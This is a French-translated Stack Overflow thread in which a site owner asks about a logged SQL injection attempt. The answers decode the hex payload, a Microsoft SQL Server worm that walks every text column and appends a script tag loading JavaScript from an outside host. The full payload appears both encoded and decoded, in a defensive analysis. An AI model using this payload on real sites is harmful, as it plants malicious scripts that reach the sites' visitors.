Tentative d'attaque par injection SQL - que tentent-ils de faire?

StackOverflow https://stackoverflow.com/questions/200545

  •  03-07-2019
  •  | 
  •  

Question

J'ai un site Web destiné au public qui a fait l'objet de nombreuses attaques par injection SQL au cours des dernières semaines. J'utilise exclusivement des procédures stockées paramétrées, je pense donc qu'aucune attaque n'a abouti, mais un journal récent a montré une technique intéressante:

Des sauts de ligne ont été ajoutés pour plus de clarté 

http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET 
@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 
686172283430303029204445434C415245205461626C655F437572736F7220435552534F 
5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 
6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 
20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 
653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 
46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 
404046455443485F5354415455533D302920424547494E20657865632827757064617465 
205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 
736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 
7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 
6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 
6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 
2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
7572736F72 AS CHAR(4000));EXEC(@S);&_X="

Quelqu'un peut-il nous éclairer sur ce que & "CAST and EXEC &"; tente de faire?

Était-ce utile?

La solution

Ci-dessous, le SQL décodé qu'ils essayaient de transmettre: 

DECLARE @T varchar(255),
        @C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b 
WHERE a.id=b.id 
AND a.xtype='u' 
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 

OPEN Table_Cursor FETCH NEXT 
FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
  BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
  FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

Autres conseils

Le code, une fois déchiffré de caractère hexadécimal en caractères, semble parcourir toutes vos tables de base de données, sélectionner toutes les colonnes de type text / char et, à la fin de chaque valeur de ce type, ajouter un script malveillant exécuté à partir de < code> http://www2.s800qn.cn/csrss/w.js . Maintenant, si sur votre site Web, vous avez au moins un endroit où vous n'échappez pas aux données textuelles extraites de votre base de données, les utilisateurs de votre site feront exécuter ce script malveillant sur leurs machines.

Exécutez ceci, par exemple dans mysql: 

select CAST(0x44...72 AS CHAR(4000)) as a;

et vous saurez. Ishmaeel a collé le code.

C’est un ver SQLserver, pas un atatck ciblé.

Je pense que nous avons déjà eu cette attaque. Il tente d'insérer une balise < script > dans chaque champ de chaque table de la base de données.

Il s'agit d'un script adware-dropper, conçu pour engorger votre base de données avec les balises < script > qui apparaissent sur vos pages. Il est codé car la plupart des serveurs exploseraient si vous tentiez de transférer ces fichiers via l'URL.

La plupart des choses comme celle-ci sont des tentatives de tentative aléatoires dans la mesure où elles frappent n'importe quoi avec une chaîne de requête, mais il peut s'agir d'une attaque ciblée. Testez votre site pour vous assurer qu'il ne laisse aucun SQL de l'exécution de chaînes de requête s'exécuter. Le simple fait d’utiliser des requêtes paramétrées devrait vous couvrir.

L’algorithme Python le plus simple pour déchiffrer le code hexadécimal est le suivant: 

text = "4445434C415245204054207661726368617228323535292C404..."

def getText():
    for i in range(0, len(text), 2):
        byte = text[i:i+2]
        char = int(byte, 16)
        toPrint = chr(char)
        yield toPrint

print ''.join(getText())
Licencié sous: CC-BY-SA avec attribution
Non affilié à StackOverflow
scroll top